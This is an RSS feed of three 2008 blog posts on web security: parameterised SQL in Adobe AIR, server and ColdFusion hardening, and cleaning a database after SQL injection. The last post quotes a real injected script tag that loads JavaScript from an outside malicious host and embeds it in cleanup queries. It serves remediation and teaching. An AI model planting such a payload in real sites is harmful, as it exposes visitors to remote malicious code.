<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Simon Whatley &#187; attack</title>
	<atom:link href="http://www.simonwhatley.co.uk/tag/attack/feed" rel="self" type="application/rss+xml" />
	<link>http://www.simonwhatley.co.uk</link>
	<description>The opposite of every great idea is another great idea</description>
	<lastBuildDate>Wed, 02 Nov 2011 09:28:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Preventing SQL Injection in an AIR Application</title>
		<link>http://www.simonwhatley.co.uk/preventing-sql-injection-in-an-air-application</link>
		<comments>http://www.simonwhatley.co.uk/preventing-sql-injection-in-an-air-application#comments</comments>
		<pubDate>Mon, 01 Sep 2008 10:41:20 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Adobe Integrated Runtime]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[online repositories]]></category>
		<category><![CDATA[relational database]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[SQLite]]></category>
		<category><![CDATA[United States]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=959</guid>
		<description><![CDATA[SQLite is a mostly ACID-compliant relational database management system contained in a relatively small (~500kB) C programming library. The Adobe AIR runtime includes the SQLite embedded database for use by Adobe AIR applications. This allows applications to run and store data locally and or synchronise the datastore with online repositories.]]></description>
			<content:encoded><![CDATA[<p>SQLite is a mostly <a href="http://en.wikipedia.org/wiki/ACID" title="Wikipedia: ACID" target="_blank" rel="nofollow">ACID</a>-compliant relational database management system contained in a relatively small (~500kB) C programming library. The Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym> runtime includes the SQLite embedded database for use by Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym> applications. This allows applications to run and store data locally and or synchronise the datastore with online repositories.</p>
<p>Applications that depend on user input to create a <abbr title="Structured Query Language">SQL</abbr> statement &#8212; concatenating the user input to the SQL query &#8212; can become vulnerable to <a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> attacks, much like those common to web applications.</p>
<p><abbr title="Structured Query Language">SQL</abbr> Injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in <abbr title="Structured Query Language">SQL</abbr> statements or user input is not strongly typed and thereby unexpectedly executed.</p>
<p>Fortunately, there is a simple solution to the problem: use parameterised <abbr title="Structured Query Language">SQL</abbr> Statements. Parameterised statements not only make your applications more secure and run more efficiently, but they also enable you to use objects, rather than literal values, in your queries. <abbr title="Structured Query Language">SQL</abbr> injection can&#8217;t happen because the parameter values are treated explicitly as substituted values, rather than becoming part of the literal statement text.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Parameters in a <abbr title="Structured Query Language">SQL</abbr> statement can be either <em>named</em> or <em>unnamed</em>. Below are examples of both types of statement in ActionScript and JavaScript.</p>
<h3>Named Parameters</h3>
<p>A named parameter has a specific name that is used to match the parameter value to its placeholder location in the <abbr title="Structured Query Language">SQL</abbr> statement text. A parameter name consists of the colon (:) or an at (@) character followed by the variable&#8217;s name:</p>
<p><strong>ActionScript 3</strong></p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> conn<span style="color: #000000; font-weight: bold;">:</span>SQLConnection = <span style="color: #0033ff; font-weight: bold;">new</span> SQLConnection<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> stmt<span style="color: #000000; font-weight: bold;">:</span>SQLStatement = <span style="color: #0033ff; font-weight: bold;">new</span> SQLStatement<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
stmt.sqlConnection = conn;
stmt.<span style="color: #004993;">text</span> = <span style="color: #990000;">&quot;INSERT INTO user VALUES(@title, @firstname, @lastname)&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #990000;">&quot;@title&quot;</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;Mr&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #990000;">&quot;@firstname&quot;</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;Simon&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #990000;">&quot;@lastname&quot;</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;Whatley&quot;</span>;
stmt.execute<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span></pre></div></div>

<p><strong>JavaScript</strong></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> conn <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> air.<span style="color: #660066;">SQLConnection</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> stmt <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> air.<span style="color: #660066;">SQLStatement</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">sqlConnection</span> <span style="color: #339933;">=</span> conn<span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">text</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;INSERT INTO user VALUES(@title, @firstname, @lastname)&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;@title&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Mr&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;@firstname&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Simon&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;@lastname&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Whatley&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Unnamed Parameters</h3>
<p>As an alternative to using explicit named parameters, you can also use implicit unnamed parameters. To use an unnamed parameter you simply designate a parameter in the <abbr title="Structured Query Language">SQL</abbr> statement using a question mark (?) character. Each parameter is assigned a numeric index, according to the order in which the parameters appear in the <abbr title="Structured Query Language">SQL</abbr> statement, <em>starting with index 0 (zero)</em> for the first parameter.</p>
<p><strong>ActionScript 3</strong></p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> conn<span style="color: #000000; font-weight: bold;">:</span>SQLConnection = <span style="color: #0033ff; font-weight: bold;">new</span> SQLConnection<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> stmt<span style="color: #000000; font-weight: bold;">:</span>SQLStatement = <span style="color: #0033ff; font-weight: bold;">new</span> SQLStatement<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
stmt.sqlConnection = conn;
stmt.<span style="color: #004993;">text</span> = <span style="color: #990000;">&quot;INSERT INTO address VALUES(?, ?, ?, ?)&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">0</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;123 Main Street&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;Sometown&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">2</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;12345&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">3</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;USA&quot;</span>;
stmt.execute<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span></pre></div></div>

<p><strong>JavaScript</strong></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> conn <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> air.<span style="color: #660066;">SQLConnection</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> stmt <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> air.<span style="color: #660066;">SQLStatement</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">sqlConnection</span> <span style="color: #339933;">=</span> conn<span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">text</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;INSERT INTO address VALUES(?, ?, ?, ?)&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;123 Main Street&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Sometown&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;12345&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;USA&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Note: Use <code>clearParameters()</code> to empty the statement parameters array; e.g. <code>stmt.clearParameters()</code>.</p>
<h3>Advantages</h3>
<ol>
<li><strong>Performance</strong> &#8211; A <abbr title="Structured Query Language">SQL</abbr> statement that uses parameters can execute more efficiently compared to one that dynamically creates the <abbr title="Structured Query Language">SQL</abbr> text each time it executes. The performance improvement is because the statement is prepared once and then executed multiple times using different parameter values, without needing to recompile the <abbr title="Structured Query Language">SQL</abbr> statement. A comparison can be draw with database stored procedures.</li>
<li><strong>Data Typing</strong> &#8211; Parameters are used to allow for typed-substitution of values that are unknown at the time the <abbr title="Structured Query Language">SQL</abbr> statement is constructed. The use of parameters is the only way to guarantee the type (storage class) for a value passed to the database. Using paramters therefore, implies better performance and security. When parameters are not used, the runtime attempts to convert all values from their text representation to a type based on the associated column&#8217;s type.</li>
<li><strong>Security</strong> &#8211; The <acronym title="Adobe Integrated Runtime">AIR</acronym> application is not vulnerable to <abbr title="Structured Query Language">SQL</abbr> injections so common to web applications.</li>
</ol>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/preventing-sql-injection-in-an-air-application/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to Protect Your Website from a Malicious Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack#comments</comments>
		<pubDate>Mon, 18 Aug 2008 12:54:20 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Application.cfc]]></category>
		<category><![CDATA[Application.cfm]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[best practice]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[cfquery]]></category>
		<category><![CDATA[cfqueryparam]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[ColdFusion Administrator]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Manitoba]]></category>
		<category><![CDATA[Mark Kruger]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[raw processing]]></category>
		<category><![CDATA[RDBMS]]></category>
		<category><![CDATA[script protect]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[software releases]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[variables]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[Web Application Hacker]]></category>
		<category><![CDATA[web code]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Web Server]]></category>
		<category><![CDATA[Web Servers]]></category>
		<category><![CDATA[webserver]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=809</guid>
		<description><![CDATA[Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company's reputation and log-term revenue prospects.]]></description>
			<content:encoded><![CDATA[<p>Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company&#8217;s reputation and log-term revenue prospects.</p>
<p><strong>Why should you be worried about security?</strong></p>
<p>The Web is changing many of the assumptions that people have historically made about computer security and publishing. As the Internet makes it possible for web servers to publish information to millions of users, it also makes it possible for computer hackers, crackers, criminals, vandals, and other &#8220;bad guys&#8221; to break into the very computers on which the web servers are running. Once subverted, web servers can be used by attackers as a launching point for conducting further attacks against users and organisations.</p>
<p>It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time.</p>
<p>This blog post started on the premise of protecting your website from a <a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> Attack. However, it is also appropriate to discuss, at a relatively high level, how to secure your server architecture and applications.</p>
<h3>Server-Level Security</h3>
<ul>
<li>Separate web- and database-servers on to different physical machines.</li>
<li>Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.</li>
<li>Keep servers up-to-date with the latest patches and software releases.</li>
<li>Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.</li>
<li>Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous &#8216;noise&#8217;.</li>
<li>Secure the database server behind a firewall.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Application-Level Security</h3>
<ul>
<li>Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.</li>
<li>Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.</li>
<li>Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands <code>CREATE</code>, <code>DROP</code>, <code>GRANT</code>, <code>REVOKE</code> and <code>ALTER</code>.</li>
<li>General settings in the ColdFusion Administrator:
<ul>
<li>Check the <em>Disable access to internal ColdFusion Java components</em> option.</li>
<li>Check the <em>Enable Global Script Protection</em> option.</li>
<li>Add a <em>Missing Template Handler</em>.</li>
<li>Add a <em>Site-wide Error Handler</em>.</li>
<li>Reduce the <em>Maximum size of post data</em> from 100<abbr title="megabytes">MB</abbr>.</li>
<li>Enable <em>Timeout Requests</em>, and set to 60 seconds or less.</li>
<li>Disable <em>Robust Exception Handling</em> on production servers.</li>
</ul>
</li>
</ul>
<h3>Code-Level Security</h3>
<ul>
<li>Application.cfc &#8211; Set the <code>scriptProtect</code> Application variable to <code>true</code> to enable application-wide cross-site script protection.
</li>
<li>CFQueryParam &#8211; This tag, importantly, verifies the data type of a query parameter and, for <abbr title="Relational Database Management Systems">RDBMS</abbr>s that support bind variables, enables ColdFusion to use bind variables in the <acronym title="Structured Query Language">SQL</acronym> statement. Bind variable usage enhances performance when executing a <code>cfquery</code> statement multiple times.

<div class="wp_syntax"><div class="code"><pre class="cfm" style="font-family:monospace;"><span style="color: #333333;"><span style="color: #800000;">&lt;cfquery</span> <span style="color: #0000ff;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;qry&quot;</span> <span style="color: #0000ff">datasource</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#APPLICATION.dsn#&quot;</span><span style="color: #800000;">&gt;</span></span>
SELECT column1, column2, column3
FROM tableName
WHERE column4 = <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#variable1#&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_bit&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
AND column5 LIKE <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;%#variable2#%&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_varchar&quot;</span> <span style="color: #0000ff;">maxlength</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;200&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
AND column6 IN (<span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#variable3#&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_integer&quot;</span> <span style="color: #0000ff">list</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;true&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>)
<span style="color: #333333;"><span style="color: #800000;">&lt;/cfquery&gt;</span></span></pre></div></div>

<p>There are limitations to the use of the <code>cfqueryparam</code> tag. In ColdFusion 7 for example, you cannot use them in queries using the <code>cachedWithin</code> attribute. Similarly, they cannot be used in <code>ORDER BY</code> clauses, although the use of conditional logic should resolve the need for order by variables.
</li>
<li>Functions &#8211; As a rule of thumb, validate <em>all</em> the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the <code>isValid()</code> function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as <code>isArray()</code>, <code>isBinary()</code>, <code>isBoolean()</code>, <code>isDate()</code>, <code>isNumeric()</code> and <code>isSimpleValue()</code> etc.
</li>
<li>Stored Procedures &#8211; I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.</li>
</ul>
<h3>Additional Resources</h3>
<ul>
<li>
<a href="http://www.amazon.com/Web-Security-Privacy-Commerce-2nd/dp/0596000456/ref=pd_bbs_sr_1?ie=UTF8&#038;s=books&#038;qid=1218663002&#038;sr=8-1" title="Amazon: Web Security, Privacy and Commerce" target="_blank" rel="nofollow">Web Security, Privacy and Commerce</a></li>
<li>O&#8217;Reilly&#8217;s <a href="http://www.amazon.com/Web-Application-Hackers-Handbook-Discovering/dp/0470170778/ref=pd_bbs_sr_1?ie=UTF8&#038;s=books&#038;qid=1218663073&#038;sr=1-1" title="Amazon: The Web Application Hacker's Handbook" target="_blank" rel="nofollow">The Web Application Hacker&#8217;s Handbook</a></li>
<li>Adobe&#8217;s whitepaper &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/dev_security/coldfusion_security_cf8.pdf" title="Adobe: ColdFusion 8 Security PDF" target="_blank" rel="nofollow">ColdFusion 8 Developer Security Guidlines</a> (<abbr title="Portable Document Format">PDF</abbr>, 281k)</li>
<li>Adobe&#8217;s whitepaper &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/dev_security/coldfusion_security_cf7.pdf" title="Adobe: ColdFusion 7 Security PDF" target="_blank" rel="nofollow">ColdFusion 7 Developer Security Guidlines</a> (<abbr title="Portable Document Format">PDF</abbr>, 217k)</li>
<li>Adobe DevNet &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/stored_procs.html" title="Learning Stored Procedure Basics in ColdFusion 8" target="_blank" rel="nofollow">Learning Stored Procedure Basics in ColdFusion 8</a></li>
<li>0&#215;000000 # The Hacker Webzine&#8217;s article on <a href="http://www.0x000000.com/?i=610" title="The Hacker Webzine: Attacking ColdFusion" target="_blank" rel="nofollow">Attacking ColdFusion</a></li>
<li>Three part series from Mark Kruger (ColdFusion Muse) &#8211; <a title="Query String with cfqueryparam" href="http://www.coldfusionmuse.com/index.cfm/2008/7/21/query-string-with-cfqueryparam" target="_blank" rel="nofollow">Part 1</a>, <a title="Using CAST and ASCII" href="http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-ASCII" target="_blank" rel="nofollow">Part 2</a>, <a title="Using Order By" href="http://www.coldfusionmuse.com/index.cfm/2008/7/21/SQL-injection-using-order-by" target="_blank" rel="nofollow">Part 3</a></li>
<li>Brad Wood&#8217;s article on <a href="http://www.codersrevolution.com/index.cfm/2008/7/26/cfqueryparam-its-not-just-for-security-also-when-NOT-to-use-it" title="CFQueryParam is not just for security - When not to use it" target="_blank" rel="nofollow">CFQueryParam is not just for security</a>.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>How to Fix a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack#comments</comments>
		<pubDate>Fri, 15 Aug 2008 15:33:00 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[programatically]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[rollback]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=814</guid>
		<description><![CDATA[In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.]]></description>
			<content:encoded><![CDATA[<p>In my previous post, <a href="/what-is-a-sql-injection-attack">What is a SQL Injection Attack</a>, I gave a brief overview of <acronym title="Structured Query Language">SQL</acronym> injection and Cross-Site Scripting (<abbr title="Cross-Site Scripting">XSS</abbr>), primarily with regard to websites. In the example given, we saw that an attack could take the form of a &#8216;hacked&#8217; URL which contained either a literal <acronym title="Structured Query Language">SQL</acronym> statement, or a hexadecimal string that could be interpreted by an insecure <acronym title="Structured Query Language">SQL</acronym> database server.</p>
<p>Which ever method is used to inject <acronym title="Structured Query Language">SQL</acronym> and ultimately dangerous scripts into the database, we need to know how to deal with the problem and &#8216;roll it back&#8217; to a safe state.</p>
<p>If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Programatically Replace Injected Code</h3>
<p>Fortunately, by the very nature of an <abbr title="Cross-Site Scripting">XSS</abbr> attack, code is appended to the data already in the database &#8212; rather than replacing it &#8212; which means we simply need to remove the appended content.</p>
<p>Taking a real-world example, below is string that was injected into the database:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>When rendered by a standard <acronym title="Hyper-Text Markup Language">HTML</acronym> page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.</p>
<p>With the example above, we can use the following script to recurse through and create update scripts for every &#8216;infected&#8217; table and column (of the type <code>char</code>, <code>nchar</code>, <code>varchar</code> and <code>nvarchar</code>), in the database.</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'', '''')
WHERE ' + column_name + ' LIKE ''%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'''
FROM information_schema.columns
WHERE (character_maximum_length is not NULL)
AND ([table_name] not like 'dt%')
AND ([table_name] not like 'sys%')</pre></div></div>

<p>The resultset then produces update statements that look like the following (I have masked the actual table and column names):</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">UPDATE [tableName]
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--', '')
WHERE columnName LIKE '%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'</pre></div></div>

<p>These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.</p>
<p>If the actual code that was injected is different, simply change the above code to suit your needs.</p>
<p><del datetime="2008-10-01T15:33:30+00:00">You can download the SQL rollback script for your own needs.</del></p>
<h3>Prevent a Successful Attack</h3>
